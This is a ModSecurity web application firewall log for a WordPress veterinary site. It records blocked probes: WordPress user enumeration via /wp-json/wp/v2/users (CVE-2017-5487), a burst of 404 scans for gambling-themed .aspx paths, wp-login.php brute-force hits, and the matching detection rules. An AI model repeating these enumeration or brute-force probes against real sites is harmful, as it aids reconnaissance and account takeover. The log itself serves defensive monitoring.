[Tue Mar 03 02:15:57.491935 2026] [:error] [pid 18960:tid 18977] [client 45.80.158.249:43882] [client 45.80.158.249] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/3"] [unique_id "aaXT3dCu09icM9oIHwD-MgAAAM4"], referer: https://vetstars.com.au/
[Tue Mar 03 02:15:59.491820 2026] [:error] [pid 60214:tid 60224] [client 185.220.101.97:21349] [client 185.220.101.97] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/4"] [unique_id "aaXT34muQ_v4S3RkLisqFgAAAQg"], referer: https://vetstars.com.au/
[Tue Mar 03 02:16:01.165502 2026] [:error] [pid 18960:tid 18985] [client 2.58.56.35:18378] [client 2.58.56.35] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/5"] [unique_id "aaXT4dCu09icM9oIHwD-PwAAANY"], referer: https://vetstars.com.au/
[Tue Mar 03 02:43:58.601083 2026] [:error] [pid 18960:tid 18972] [client 88.89.67.172:59388] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaXabtCu09icM9oIHwAPnAAAAMk"]
[Tue Mar 03 02:44:01.145731 2026] [:error] [pid 18556:tid 18764] [client 88.89.67.172:41494] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aaXacX9AYyTTd2eEk9FRngAAAAk"]
[Tue Mar 03 02:44:03.644808 2026] [:error] [pid 60214:tid 60237] [client 88.89.67.172:41506] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaXac4muQ_v4S3RkLitDmAAAARU"]
[Tue Mar 03 02:44:06.130821 2026] [:error] [pid 18960:tid 18966] [client 88.89.67.172:41512] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaXadtCu09icM9oIHwAPowAAAMM"]
[Tue Mar 03 02:44:08.640232 2026] [:error] [pid 60214:tid 60230] [client 88.89.67.172:41530] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaXaeImuQ_v4S3RkLitDpAAAAQ4"]
[Tue Mar 03 02:44:11.120179 2026] [:error] [pid 18557:tid 18824] [client 88.89.67.172:52268] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaXae9ngZqR9Tp8JM0F0cAAAAEI"]
[Tue Mar 03 02:44:13.428493 2026] [:error] [pid 60214:tid 60221] [client 88.89.67.172:52290] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaXafYmuQ_v4S3RkLitDtwAAAQU"]
[Tue Mar 03 02:44:15.762478 2026] [:error] [pid 60214:tid 60236] [client 88.89.67.172:52304] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaXaf4muQ_v4S3RkLitDxAAAARQ"]
[Tue Mar 03 02:44:18.361032 2026] [:error] [pid 60214:tid 60218] [client 88.89.67.172:52328] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aaXagomuQ_v4S3RkLitD0wAAAQI"]
[Tue Mar 03 02:44:20.996952 2026] [:error] [pid 18960:tid 18971] [client 88.89.67.172:38294] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaXahNCu09icM9oIHwAPrgAAAMg"]
[Tue Mar 03 02:44:23.464879 2026] [:error] [pid 18960:tid 18978] [client 88.89.67.172:38310] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaXah9Cu09icM9oIHwAPtQAAAM8"]
[Tue Mar 03 02:44:25.914568 2026] [:error] [pid 18556:tid 18774] [client 88.89.67.172:38328] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aaXaiX9AYyTTd2eEk9FRrgAAABI"]
[Tue Mar 03 02:44:28.398399 2026] [:error] [pid 18557:tid 18833] [client 88.89.67.172:38340] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaXajNngZqR9Tp8JM0F0hwAAAEo"]
[Tue Mar 03 02:44:31.009100 2026] [:error] [pid 18960:tid 18984] [client 88.89.67.172:52458] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaXaj9Cu09icM9oIHwAPyAAAANU"]
[Tue Mar 03 02:44:34.494911 2026] [:error] [pid 18960:tid 18966] [client 88.89.67.172:52480] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaXaktCu09icM9oIHwAP1QAAAMM"]
[Tue Mar 03 02:44:37.046293 2026] [:error] [pid 60214:tid 60239] [client 88.89.67.172:52494] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaXalYmuQ_v4S3RkLitD7QAAARc"]
[Tue Mar 03 02:44:39.529573 2026] [:error] [pid 60214:tid 60235] [client 88.89.67.172:52508] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaXal4muQ_v4S3RkLitD-AAAARM"]
[Tue Mar 03 02:44:41.898436 2026] [:error] [pid 18960:tid 18977] [client 88.89.67.172:54554] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaXamdCu09icM9oIHwAP5wAAAM4"]
[Tue Mar 03 02:44:44.570628 2026] [:error] [pid 18960:tid 18971] [client 88.89.67.172:54570] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaXanNCu09icM9oIHwAP8wAAAMg"]
[Tue Mar 03 02:44:47.211003 2026] [:error] [pid 60214:tid 60222] [client 88.89.67.172:54582] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaXan4muQ_v4S3RkLitEDwAAAQY"]
[Tue Mar 03 02:44:49.708817 2026] [:error] [pid 60214:tid 60229] [client 88.89.67.172:54600] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aaXaoYmuQ_v4S3RkLitEHAAAAQ0"]
[Tue Mar 03 02:44:52.219815 2026] [:error] [pid 18960:tid 18983] [client 88.89.67.172:43240] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aaXapNCu09icM9oIHwAQEgAAANQ"]
[Tue Mar 03 02:44:54.727211 2026] [:error] [pid 18558:tid 18869] [client 88.89.67.172:43258] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aaXaprO1kQHjTOLioCnjwwAAAI8"]
[Tue Mar 03 02:45:21.726492 2026] [:error] [pid 18960:tid 18968] [client 88.89.67.172:43288] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aaXawdCu09icM9oIHwAQbQAAAMU"]
[Tue Mar 03 02:45:24.265829 2026] [:error] [pid 18960:tid 18969] [client 88.89.67.172:59140] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aaXaxNCu09icM9oIHwAQdwAAAMY"]
[Tue Mar 03 02:45:26.755658 2026] [:error] [pid 18558:tid 18857] [client 88.89.67.172:59144] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaXaxrO1kQHjTOLioCnj9QAAAIM"]
[Tue Mar 03 02:45:29.245085 2026] [:error] [pid 60214:tid 60228] [client 88.89.67.172:59152] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aaXayYmuQ_v4S3RkLitEfwAAAQw"]
[Tue Mar 03 02:45:31.739232 2026] [:error] [pid 18556:tid 18774] [client 88.89.67.172:37818] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaXay39AYyTTd2eEk9FR6QAAABI"]
[Tue Mar 03 02:45:34.081312 2026] [:error] [pid 18960:tid 18974] [client 88.89.67.172:37828] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aaXaztCu09icM9oIHwAQlQAAAMs"]
[Tue Mar 03 02:45:36.576526 2026] [:error] [pid 18558:tid 18864] [client 88.89.67.172:37836] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aaXa0LO1kQHjTOLioCnkFwAAAIo"]
[Tue Mar 03 02:45:39.052955 2026] [:error] [pid 18557:tid 18831] [client 88.89.67.172:37840] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aaXa09ngZqR9Tp8JM0F07AAAAEk"]
[Tue Mar 03 02:45:41.557666 2026] [:error] [pid 18960:tid 18978] [client 88.89.67.172:51788] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aaXa1dCu09icM9oIHwAQrAAAAM8"]
[Tue Mar 03 02:45:43.887529 2026] [:error] [pid 18557:tid 18837] [client 88.89.67.172:51808] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaXa19ngZqR9Tp8JM0F09wAAAE4"]
[Tue Mar 03 02:45:46.379302 2026] [:error] [pid 18558:tid 18856] [client 88.89.67.172:51822] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaXa2rO1kQHjTOLioCnkMwAAAII"]
[Tue Mar 03 02:45:48.876644 2026] [:error] [pid 18558:tid 18866] [client 88.89.67.172:51842] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaXa3LO1kQHjTOLioCnkOgAAAIw"]
[Tue Mar 03 02:45:51.230268 2026] [:error] [pid 18556:tid 18758] [client 88.89.67.172:34640] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaXa339AYyTTd2eEk9FSDAAAAAM"]
[Tue Mar 03 02:45:53.725801 2026] [:error] [pid 18556:tid 18759] [client 88.89.67.172:34654] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaXa4X9AYyTTd2eEk9FSEwAAAAQ"]
[Tue Mar 03 02:45:56.214675 2026] [:error] [pid 18556:tid 18757] [client 88.89.67.172:34674] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaXa5H9AYyTTd2eEk9FSFQAAAAI"]
[Tue Mar 03 02:45:58.714683 2026] [:error] [pid 60214:tid 60220] [client 88.89.67.172:34690] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaXa5omuQ_v4S3RkLitEygAAAQQ"]
[Tue Mar 03 02:46:01.214673 2026] [:error] [pid 60214:tid 60220] [client 88.89.67.172:60664] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaXa6YmuQ_v4S3RkLitE2AAAAQQ"]
[Tue Mar 03 02:46:03.717571 2026] [:error] [pid 18558:tid 18862] [client 88.89.67.172:60692] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaXa67O1kQHjTOLioCnkVQAAAIg"]
[Tue Mar 03 02:46:06.900738 2026] [:error] [pid 18558:tid 18873] [client 88.89.67.172:60708] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaXa7rO1kQHjTOLioCnkXwAAAJM"]
[Tue Mar 03 02:46:09.340762 2026] [:error] [pid 60214:tid 60224] [client 88.89.67.172:60732] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaXa8YmuQ_v4S3RkLitFBgAAAQg"]
[Tue Mar 03 02:46:11.856035 2026] [:error] [pid 18557:tid 18845] [client 88.89.67.172:40996] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aaXa89ngZqR9Tp8JM0F1NwAAAFY"]
[Tue Mar 03 02:46:14.338900 2026] [:error] [pid 18558:tid 18873] [client 88.89.67.172:41016] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aaXa9rO1kQHjTOLioCnkcgAAAJM"]
[Tue Mar 03 02:46:16.841236 2026] [:error] [pid 18557:tid 18827] [client 88.89.67.172:41042] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aaXa-NngZqR9Tp8JM0F1PQAAAEU"]
[Tue Mar 03 03:23:30.397636 2026] [:error] [pid 5477:tid 5557] [client 151.11.51.9:48408] [client 151.11.51.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 151.11.51.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaXjsjHvKL2XUFS-F-oKEAAAAI4"]
[Tue Mar 03 04:58:52.701840 2026] [:error] [pid 36897:tid 36905] [client 49.51.183.220:39634] [client 49.51.183.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaX6DCZC69_8eM0UouvE7wAAAMM"]
[Tue Mar 03 05:37:20.310664 2026] [:error] [pid 36784:tid 36845] [client 1.15.52.154:56224] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaYDEHNeKOSGbW9kDgTIKAAAAFY"]
[Tue Mar 03 05:39:19.422435 2026] [:error] [pid 26186:tid 26207] [client 64.92.9.212:54796] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.92.9.212, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaYDh_bZCNtk8wDak9eEMQAAAVM"]
